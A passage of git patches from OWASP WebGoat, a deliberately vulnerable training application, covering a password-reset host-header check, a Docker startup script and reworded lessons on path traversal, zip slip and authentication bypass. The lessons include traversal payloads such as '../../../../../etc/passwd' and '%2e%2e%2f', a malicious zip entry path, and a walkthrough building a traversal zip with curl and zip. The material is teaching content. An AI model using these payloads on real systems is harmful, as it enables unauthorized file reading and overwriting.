b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java index eaae33bdb..54b95b21e 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java @@ -37,8 +37,6 @@ import org.springframework.web.client.RestTemplate; import javax.servlet.http.HttpServletRequest; import java.util.UUID; -import static org.springframework.util.StringUtils.hasText; - /** * Part of the password reset assignment. Used to send the e-mail. * @@ -49,11 +47,17 @@ import static org.springframework.util.StringUtils.hasText; public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { private final RestTemplate restTemplate; + private String webWolfHost; + private String webWolfPort; private final String webWolfMailURL; public ResetLinkAssignmentForgotPassword(RestTemplate restTemplate, + @Value("${webwolf.host}") String webWolfHost, + @Value("${webwolf.port}") String webWolfPort, @Value("${webwolf.mail.url}") String webWolfMailURL) { this.restTemplate = restTemplate; + this.webWolfHost = webWolfHost; + this.webWolfPort = webWolfPort; this.webWolfMailURL = webWolfMailURL; } @@ -63,18 +67,17 @@ public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { String resetLink = UUID.randomUUID().toString(); ResetLinkAssignment.resetLinks.add(resetLink); String host = request.getHeader("host"); - if (hasText(email)) { - if (email.equals(ResetLinkAssignment.TOM_EMAIL) && (host.contains("9090")||host.contains("webwolf"))) { //User indeed changed the host header. - ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink); - fakeClickingLinkEmail(host, resetLink); - } else { - try { - sendMailToUser(email, host, resetLink); - } catch (Exception e) { - return failed(this).output("E-mail can't be send. please try again.").build(); - } + if (ResetLinkAssignment.TOM_EMAIL.equals(email) && (host.contains(webWolfPort) || host.contains(webWolfHost))) { //User indeed changed the host header. + ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink); + fakeClickingLinkEmail(host, resetLink); + } else { + try { + sendMailToUser(email, host, resetLink); + } catch (Exception e) { + return failed(this).output("E-mail can't be send. please try again.").build(); } } + return success(this).feedback("email.send").feedbackArgs(email).build(); } From 8dd66fc0ffac92c453a1d5a2fec9c4eccd3fa782 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Fri, 19 Nov 2021 16:58:23 +0100 Subject: [PATCH 107/227] Improve Docker start up script - Make sure the last line contains the information - Split in separate functions - Add option to skip starting nginx (by default it is started) --- RELEASE_NOTES.md | 6 ++++ docker/Dockerfile | 3 +- docker/start.sh | 84 ++++++++++++++++++++++++++++++++++++----------- 3 files changed, 73 insertions(+), 20 deletions(-) diff --git a/RELEASE_NOTES.md b/RELEASE_NOTES.md index 78b1a7e15..3fbab978a 100644 --- a/RELEASE_NOTES.md +++ b/RELEASE_NOTES.md @@ -1,5 +1,11 @@ # WebGoat release notes +## Unreleased + +### New functionality + +- Update the Docker startup script, it is now possible to pass `skip-nginx` or set `SKIP_NGINX` as environment variable. + ## Version 8.2.2 ### New functionality diff --git a/docker/Dockerfile b/docker/Dockerfile index 83fd7470d..11ee7f65d 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -11,9 +11,10 @@ COPY --chown=webgoat index.html /usr/share/nginx/html/ COPY --chown=webgoat target/webgoat-server-*.jar /home/webgoat/webgoat.jar COPY --chown=webgoat target/webwolf-*.jar /home/webgoat/webwolf.jar COPY --chown=webgoat start.sh /home/webgoat +RUN chmod +x /home/webgoat/start.sh EXPOSE 8080 EXPOSE 9090 WORKDIR /home/webgoat -ENTRYPOINT /bin/bash start.sh +ENTRYPOINT ["./start.sh"] diff --git a/docker/start.sh b/docker/start.sh index 3a37439a6..d25b00214 100755 --- a/docker/start.sh +++ b/docker/start.sh @@ -1,26 +1,72 @@ #!/bin/bash cd /home/webgoat -service nginx start -sleep 1 -echo "Starting WebGoat...." -java \ - -Duser.home=/home/webgoat \ - -Dfile.encoding=UTF-8 \ - --add-opens java.base/java.lang=ALL-UNNAMED \ - --add-opens java.base/java.util=ALL-UNNAMED \ - --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ - --add-opens java.base/java.text=ALL-UNNAMED \ - --add-opens java.desktop/java.beans=ALL-UNNAMED \ - --add-opens java.desktop/java.awt.font=ALL-UNNAMED \ - --add-opens java.base/sun.nio.ch=ALL-UNNAMED \ - --add-opens java.base/java.io=ALL-UNNAMED \ - -jar webgoat.jar --server.address=0.0.0.0 > webgoat.log & +function should_start_nginx() { + if [[ -v "${SKIP_NGINX}" ]]; then + return 1 + else + for i in "${commandline_args[@]}" ; do [[ $i == "skip-nginx" ]] && return 1 ; done + fi + return 0 +} + +function nginx() { + if should_start_nginx; then + echo "Starting nginx..." + service nginx start + fi +} + +function webgoat() { + echo "Starting WebGoat...." + java \ + -Duser.home=/home/webgoat \ + -Dfile.encoding=UTF-8 \ + --add-opens java.base/java.lang=ALL-UNNAMED \ + --add-opens java.base/java.util=ALL-UNNAMED \ + --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ + --add-opens java.base/java.text=ALL-UNNAMED \ + --add-opens java.desktop/java.beans=ALL-UNNAMED \ + --add-opens java.desktop/java.awt.font=ALL-UNNAMED \ + --add-opens java.base/sun.nio.ch=ALL-UNNAMED \ + --add-opens java.base/java.io=ALL-UNNAMED \ + -jar webgoat.jar --server.address=0.0.0.0 > webgoat.log +} + +function webwolf() { + echo "Starting WebWolf..." + java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --server.address=0.0.0.0 > webwolf.log +} + +function write_start_message() { + until $(curl --output /dev/null --silent --head --fail http://0.0.0.0:8080/WebGoat/health); do + sleep 2 + done + echo " + __ __ _ _____ _ + \ \ / / | | / ____| | | + \ \ /\ / / ___ | |__ | | __ ___ __ _ | |_ + \ \/ \/ / / _ \ | '_ \ | | |_ | / _ \ / _' | | __| + \ /\ / | __/ | |_) | | |__| | | (_) | | (_| | | |_ + \/ \/ \___| |_.__/ \_____| \___/ \__,_| \__| + " >> webgoat.log + echo "WebGoat and WebWolf successfully started..." >> webgoat.log + pidof nginx >/dev/null && echo "Browse to http://localhost to get started" >> webgoat.log || echo "Browse to http://localhost:8080/WebGoat or http://localhost:9090/WebWolf to get started" >> webgoat.log +} + +function tail_log_file() { + touch webgoat.log + tail -300f webgoat.log +} + +commandline_args=("$@") + +nginx +webgoat & +webwolf & +write_start_message & +tail_log_file -echo "Starting WebWolf..." -java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --server.address=0.0.0.0 > webwolf.log & -echo "Browse to http://localhost to get started" >> webgoat.log -exec tail -300f webgoat.log From d047c41e86b85c7a9b687f8a75f52cbcfe5c9005 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Sat, 27 Nov 2021 18:05:16 +0100 Subject: [PATCH 108/227] Update README.MD --- README.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.MD b/README.MD index 54fb67444..b3a9c0873 100644 --- a/README.MD +++ b/README.MD @@ -67,7 +67,7 @@ WebWolf will be located at: http://localhost:9090/WebWolf (change ports if neces ### Prerequisites: -* Java 16 +* Java 17 * Maven > 3.2.1 * Your favorite IDE * Git, or Git support in your IDE From 939f860dddda748a22c1b7666727d2bf6576e47b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Wed, 8 Dec 2021 19:23:38 +0100 Subject: [PATCH 109/227] renamed spoof-cookie form --- .../spoof-cookie/src/main/resources/html/SpoofCookie.html | 2 +- .../resources/templates/{form.html => spoofcookieform.html} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename webgoat-lessons/spoof-cookie/src/main/resources/templates/{form.html => spoofcookieform.html} (100%) diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html b/webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html index 7a41f948d..a59ab3cc7 100644 --- a/webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html +++ b/webgoat-lessons/spoof-cookie/src/main/resources/html/SpoofCookie.html @@ -21,7 +21,7 @@
-
+
diff --git a/webgoat-lessons/spoof-cookie/src/main/resources/templates/form.html b/webgoat-lessons/spoof-cookie/src/main/resources/templates/spoofcookieform.html similarity index 100% rename from webgoat-lessons/spoof-cookie/src/main/resources/templates/form.html rename to webgoat-lessons/spoof-cookie/src/main/resources/templates/spoofcookieform.html From d41d21b2e645c73ba3e9b9315dc00ee68368c3b3 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 13 Dec 2021 12:31:35 +0100 Subject: [PATCH 110/227] Update the documentation --- .../resources/i18n/WebGoatLabels.properties | 2 +- .../lessonPlans/en/PathTraversal_intro.adoc | 25 +++++++------- .../en/PathTraversal_retrieval.adoc | 4 +-- .../lessonPlans/en/PathTraversal_upload.adoc | 4 +-- .../en/PathTraversal_upload_fix.adoc | 4 +-- .../en/PathTraversal_upload_fixed.adoc | 4 +-- .../en/PathTraversal_upload_mitigation.adoc | 34 +++++++++---------- ...athTraversal_upload_remove_user_input.adoc | 4 +-- .../en/PathTraversal_zip_slip.adoc | 8 ++--- .../en/PathTraversal_zip_slip_assignment.adoc | 2 +- .../en/PathTraversal_zip_slip_solution.adoc | 24 +++++-------- 11 files changed, 52 insertions(+), 63 deletions(-) diff --git a/webgoat-lessons/path-traversal/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/path-traversal/src/main/resources/i18n/WebGoatLabels.properties index cc5dd57ca..a546f1dcb 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/path-traversal/src/main/resources/i18n/WebGoatLabels.properties @@ -54,5 +54,5 @@ path-traversal-zip-slip.hint4=Check the http request to find out which image nam path-traversal-zip-slip.no-zip=Please upload a zip file -path-traversal-zip-slip.extracted=Zip file extracted successfully, failed to copy image. Please contact our helpdesk. +path-traversal-zip-slip.extracted=Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk. diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_intro.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_intro.adoc index 6bf6795ed..81adbe035 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_intro.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_intro.adoc @@ -1,24 +1,23 @@ === Path traversal -A path(directory) traversal is a vulnerability where an attacker is able to access or store files and directories outside -the location where the application is running. This may lead to reading files from other directories and in case of a file -upload overwriting critical system files. +A path(directory) traversal is a vulnerability where an attacker can access or store files and directories outside +the application's location. It may lead to reading files from other directories and overwriting critical system files in case of a file +upload. === How does it work? -For example let's assume we have an application which hosts some files and they can be requested in the following -format: `http://example.com/file=report.pdf` now as an attacker you are interested in other files of course so -you try `http://example.com/file=../../../../../etc/passwd`. In this case you try walk up to the root of the filesystem -and then go into `/etc/passwd` to gain access to this file. The `../` is called dot-dot-slash which is another name +For example, let's assume we have an application that hosts some files, in the following +format: `http://example.com/file=report.pdf` now as an attacker, you are interested in other files, of course, so +you try `http://example.com/file=../../../../../etc/passwd.` In this case, you try walking up to the root of the filesystem +and then go into `/etc/passwd` to gain access to this file. The `../` is called dot-dot-slash, another name for this attack. -Of course this is a very simple example and in most cases this will not work as frameworks implemented controls for -this, so we need to get a little more creative and start encoding `../` before the request is sent to the server. -For example if we URL encode `../` you will get `%2e%2e%2f` and the web server receiving this request will decode +Of course, this is a straightforward example, and in most cases, this will not work as frameworks implemented controls. So we need to get a little more creative and start encoding `../` before the request is sent to the server. +For example, if we URL encode `../`, you will get `%2e%2e%2f`, and the webserver receiving this request will decode it again to `../`. -Also note that avoiding applications filtering those encodings double encoding might work as well. Double encoding -might be necessary in the case where you have a system A which calls system B. System A will only decode once and -will call B with the still encoded URL. +Also, note that avoiding applications filtering those encodings double encoding might work as well. Double encoding +might be necessary when you have a system A which calls system B. System A will only decode once and +call B with the still encoded URL. diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_retrieval.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_retrieval.adoc index 211bf43c9..2f5575019 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_retrieval.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_retrieval.adoc @@ -1,6 +1,6 @@ === Retrieving other files with a path traversal -Path traversals are not limited to file uploads also when retrieving files it can be the case that a path traversal -is possible to retrieve other files from the system. In this assignment try to find a file called `path-traversal-secret.jpg` +Path traversals are not limited to file uploads; when retrieving files, it can be the case that a path traversal +is possible to retrieve other files from the system. In this assignment, try to find a file called `path-traversal-secret.jpg` diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload.adoc index 071f44a86..422ac170f 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload.adoc @@ -1,7 +1,7 @@ === Path traversal while uploading files -In this assignment the goal is to overwrite a specific file on the file system. Of course WebGoat cares about the users -so you need to upload your file to the following location which is outside the normal upload location. +In this assignment, the goal is to overwrite a specific file on the file system. Of course, WebGoat cares about the users +so you need to upload your file to the following location outside the usual upload location. |=== |OS |Location diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fix.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fix.adoc index 14146ba1e..f298922fa 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fix.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fix.adoc @@ -1,7 +1,7 @@ === Path traversal while uploading files -The developer became aware of the vulnerability and implemented a fix which removed the `../` from the input. -Again the same assignment but can you bypass the implemented fix? +The developer became aware of the vulnerability and implemented a fix that removed the `../` from the input. +Again the same assignment, but can you bypass the implemented fix? |=== |OS |Location diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fixed.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fixed.adoc index 77eeeafa1..ea8ff9aaf 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fixed.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fixed.adoc @@ -1,7 +1,7 @@ === Path traversal while retrieving files -Finally the upload is no longer vulnerable at least help us to verify :-) -In this assignment you need to get the contents of the following file: +Finally, the upload is no longer vulnerable at least help us to verify :-) +In this assignment, you need to get the contents of the following file: |=== |OS |Location diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_mitigation.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_mitigation.adoc index 64c59b579..7938594d8 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_mitigation.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_mitigation.adoc @@ -1,12 +1,11 @@ === Path traversal mitigation -As we saw in the previous assignments protecting a file upload can be a daunting task. The thing comes down to trusting +As we saw in the previous assignments, protecting a file upload can be daunting. The thing comes down to trust input without validating it. -In the examples shown before a solution might be to not trust user input and create a random file name on the -server side. +In the examples shown before, a solution might be not to trust user input and create a random file name on the +server-side. -If you really need to save it based on user input the best way to keep you save is to check the canonical path the -file will be saved. For example in Java: +If you need to save it based on user input, the best way to keep you safe is to check the canonical path. For example, in Java: [source] ---- @@ -21,20 +20,20 @@ if (!canonicalPath.startWith("/tmp") { IOUtils.copy(multiPartFile.getBytes(), targetFile); ---- -The canonical path function will resolve to a absolute path, removing `.` and `..` etc. By checking whether the canonical -path is inside the expected directory the path traversal will be avoided. +The canonical path function will resolve to an absolute path, removing `.` and `..` etc. By checking whether the canonical +the path is inside the expected directory. -For path traversals while retrieving one can apply the same technique described above but as a defence in depth you -can also implement a mitigation by running the application under a specific not privileged user which is not allowed to read and write +For path traversals, while retrieving, one can apply the same technique described above, but as a defense in depth you +can also implement mitigation by running the application under a specific not privileged user who is not allowed to read and write in any other directory. -Make sure that in any case you build detection for catching these cases but be careful with returning explicit information -to the user. Every small detail might give the attacker knowledge about your system. +Make sure that you build detection for catching these cases in any case, but be careful with returning explicit information +to the user. Every tiny detail might give the attacker knowledge about your system. ==== Be aware... -As shown in the previous examples be careful which method you use for retrieving parameters especially query parameters. +As shown in the previous examples, be careful which method you use to retrieve parameters, especially query parameters. Spring Boot does a decent job denying invalid path variables. To recap: [source] @@ -56,16 +55,15 @@ public void h(HttpServletRequest request) { If you invoke `/f` with `/f?name=%2E%2E%2F%2E%2E%2Ftest` it will become `../../test`. If you invoke `g` with `/g?name=%2E%2E%2F%2E%2E%2Ftest` it will return `%2E%2E%2F%2E%2E%2Ftest` *NO* decoding will be applied. -The behaviour of `/h` with the same parameter will be the same as `/f` +The behavior of `/h` with the same parameter will be the same as `/f` -As you can see be careful and familiarize yourself with the correct methods to call. In every case write a -unit test in such cases which covers encoded characters. +As you can see, be careful and familiarize yourself with the correct methods to call. In every case, write a +unit test in such cases, which covers encoded characters. ==== Spring Boot protection -By default Spring Boot has protection for usage of for example `../` in a path. The implementation can be found in -`StrictHttpFirewall` class. This will protect endpoint where the user input is part of the `path` like `/test/1.jpg` -if you replace `1.jpg` with `../../secret.txt` it will block the request. With query parameters that protection +By default, Spring Boot has protection for using, for example, `../` in a path. The projection resides in the `StrictHttpFirewall` class. This will protect endpoint where the user input is part of the `path` like `/test/1.jpg` +if you replace `1.jpg` with `../../secret.txt`, it will block the request. With query parameters, that protection will not be there. In the lesson about "File uploads" more examples of vulnerabilities are shown. diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_remove_user_input.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_remove_user_input.adoc index aff3f2cbf..248267075 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_remove_user_input.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_remove_user_input.adoc @@ -1,9 +1,9 @@ === Path traversal while uploading files The developer again became aware of the vulnerability by not validating the input of the `full name` input field. -A fix was made in an attempt to solve this vulnerability. +A fix was applied in an attempt to solve this vulnerability. -Again the same assignment but can you bypass the implemented fix? +Again the same assignment, but can you bypass the implemented fix? |=== |OS |Location diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip.adoc index aca05e895..c16fb081f 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip.adoc @@ -1,10 +1,10 @@ === Zip Slip vulnerability -As a developer, you have many occasions where you have to deal with zip files, for example, think about the upload facility or processing a bunch of CSV files that are uploaded as a zip file. A neat vulnerability was discovered and responsibly disclosed by the Snyk Security team. It uses path traversal which can be used while extracting files. With the path traversal, you try to overwrite files outside the intended target folder. For example, you might be able to overwrite the `ls` command while extracting a zip file. Once this command has been replaced with some extra malicious actions each time the user types in `ls` you can for example send the outcome of the listing towards your server before showing the real command to the user. So you end up with remote command execution. +As a developer, you have many occasions where you have to deal with zip files. For example, think about the upload facility or processing a bunch of CSV files that are uploaded as a zip file. A neat vulnerability was discovered and responsibly disclosed by the Snyk Security team. It uses path traversal, which can be used while extracting files. With the path traversal, you try to overwrite files outside the intended target folder. For example, you might be able to overwrite the `ls` command while extracting a zip file. Once this command has been replaced with some extra malicious actions each time the user types in `ls`, you can send the outcome of the listing towards your server before showing the actual command to the user. So you end up with remote command execution. ==== Problem -The problem occurs with how we extract zip files in Java a common way to do this is: +The problem occurs with how we extract zip files in Java; a common way to do this is: [source] ---- @@ -18,7 +18,7 @@ while (entries.hasMoreElements()) { } ---- -At first glance, this looks ok and you wrote something along the same lines. The problem is, as we have seen in the previous assignments, that you can use a path traversal to break out of the `destinationDir` and start walking towards different locations. +At first glance, this looks ok, and you wrote something along the same lines. As we have seen in the previous assignments, the problem is that you can use a path traversal to break out of the `destinationDir` and start walking towards different locations. But what if we receive a zip file with the following contents: @@ -28,4 +28,4 @@ orders.csv ../../../../../../../tmp/evil.sh ---- -if you extract the zip file with the code above the file will be saved in `/tmp/evil.sh`. \ No newline at end of file +if you extract the zip file with the code above the file will be saved in `/tmp/evil.sh`. diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_assignment.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_assignment.adoc index b51b91964..fabbb19db 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_assignment.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_assignment.adoc @@ -1,6 +1,6 @@ === Zip Slip assignment -This time the developers only allow you to upload zip files, however, they made a programming mistake in that uploading the zip file will extract it but it will not replace your image. Can you find a way to overwrite your current image bypassing the programming mistake? +This time the developers only allow you to upload zip files. However, they made a programming mistake in uploading the zip file will extract it, but it will not replace your image. Can you find a way to overwrite your current image bypassing the programming mistake? |=== |OS |Location diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc index bb909b1d8..a9a71af73 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc @@ -1,6 +1,6 @@ === Solution -First let's create a zip file with an image inside: +First, let's create a zip file with an image inside: [source] ---- @@ -8,16 +8,16 @@ curl -o cat.jpg http://localhost:8080/WebGoat/images/cats/1.jpg zip profile.zip cat.jpg ---- -Now let's upload this as our profile image, we can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is: +Now let's upload this as our profile image. We can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is: [source] ---- -Zip file extracted successfully, failed to copy image. Please contact our helpdesk. +Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk. ---- -Let's create a zip file which traverses all the way to the top and then back into the given directory in the assignment. +Let's create a zip file that traverses to the top and then back into the given directory in the assignment. -First create the directory structure: +First, create the directory structure: [source, subs="macros"] ---- @@ -27,11 +27,11 @@ curl -o username:user[] http://localhost:8080/WebGoat/images/cats/1.jpg zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg ---- -Now if we upload this zip file, the assignment will be solved. +Now, if we upload this zip file, it solves the assignment. === Why did this work? -In the code the developers used the following fragment: +In the code, the developers used the following fragment: [source%linenums] ---- @@ -45,12 +45,4 @@ while (entries.hasMoreElements()) { } ---- -The fix is to make sure the resulting file in line 5 resides in the directory you expect. You can use the following method in Java: - -[source] ----- -File profilePicture = new File(uploadDirectory, e.getName()); -if (profilePicture. - ----- - +The fix is to make sure the resulting file in line 5 resides in the directory you expect. Same as with the path traversal mitigation, use `profilePicture.getCanonicalPath()` to ensure the path is the same as you expect it to be. From 0658fcefcd136ae4b208fbb3cc244919cddf6b26 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 13 Dec 2021 12:38:41 +0100 Subject: [PATCH 111/227] update documentation --- .../src/main/resources/lessonPlans/en/2fa-bypass.adoc | 10 +++++----- .../main/resources/lessonPlans/en/bypass-intro.adoc | 8 ++++---- .../lessonPlans/en/lesson-template-video.adoc | 4 ++-- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/2fa-bypass.adoc b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/2fa-bypass.adoc index fe4f8fd92..f5e0fc5bd 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/2fa-bypass.adoc +++ b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/2fa-bypass.adoc @@ -1,15 +1,15 @@ == 2FA Password Reset -A recent (2016) example (https://henryhoggard.co.uk/blog/Paypal-2FA-Bypass) is a great example of authentication bypass. He was unable to receive an SMS with a code, so he opted for the provided -alternative method, which involved security questions. Using a proxy, removed the parameters entirely ... and won. +An excellent example of authentication bypass is a recent (2016) example (https://henryhoggard.co.uk/blog/Paypal-2FA-Bypass). He could not receive an SMS with a code, so he opted for +an alternative method, which involved security questions. Using a proxy, removed the parameters entirely and won. image::images/paypal-2fa-bypass.png[Paypal 2FA bypass,1397,645,style="lesson-image"] === The Scenario -You are resetting your password, but doing it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is -that those security questions are also stored on another device (not with you) and you don't remember them. +You reset your password, but do it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is +Those security questions are also stored on another device (not with you), and you don't remember them. -You have already provided your username/email and opted for the alternative verification method. \ No newline at end of file +You have already provided your username/email and opted for the alternative verification method. diff --git a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc index ef7c5725a..fd5a8b924 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc +++ b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc @@ -1,15 +1,15 @@ == Authentication Bypasses -Authentication Bypasses happen in many ways, but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions. +Authentication Bypasses happen in many ways but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions. === Hidden inputs -The simplest form is a reliance on a hidden input that is in the web page/DOM. +The simplest form is a reliance on a hidden input in the web page/DOM. === Removing Parameters -Sometimes, if an attacker doesn't know the correct value of a parameter, they may remove the parameter from the submission altogether to see what happens. +Sometimes, if an attacker doesn't know the correct value of a parameter, they may remove it from the submission altogether to see what happens. === Forced Browsing -If an area of a site is not protected properly by configuration, that area of the site may be accessed by guessing/brute-forcing. +If an area of a site is not appropriately protected by configuration, that area of the site may be accessed by guessing/brute-forcing. diff --git a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc index 83831886f..105527d5a 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc +++ b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc @@ -1,7 +1,7 @@ === More Content, Video too ... -You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this though. +You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this, though. video::video/sample-video.m4v[width=480,start=5] -see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax \ No newline at end of file +see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax From 80e01d680b0f6b740e72b5d2cfa51484d842c624 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 13 Dec 2021 12:47:26 +0100 Subject: [PATCH 112/227] add editor config --- .editorconfig | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 .editorconfig diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 000000000..8140db745 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,16 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +indent_size = 4 +indent_style = space +insert_final_newline = true +max_line_length = 120 +tab_width = 4 +ij_continuation_indent_size = 8 +ij_formatter_off_tag = @formatter:off +ij_formatter_on_tag = @formatter:on +ij_formatter_tags_enabled = false +ij_wrap_on_typing = true +ij_java_names_count_to_use_import_on_demand = 999 From 69a93f30d2fc9a3ae2c8cc5bbf2080e103328513 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 13 Dec 2021 12:58:59 +0100 Subject: [PATCH 113/227] update documentation --- .../en/BypassRestrictions_FieldRestrictions.adoc | 4 ++-- .../en/BypassRestrictions_FrontendValidation.adoc | 4 ++-- .../resources/lessonPlans/en/BypassRestrictions_Intro.adoc | 7 +++---- 3 files changed, 7 insertions(+), 8 deletions(-) diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc b/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc index 4d103d6b3..edc411eda 100755 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc +++ 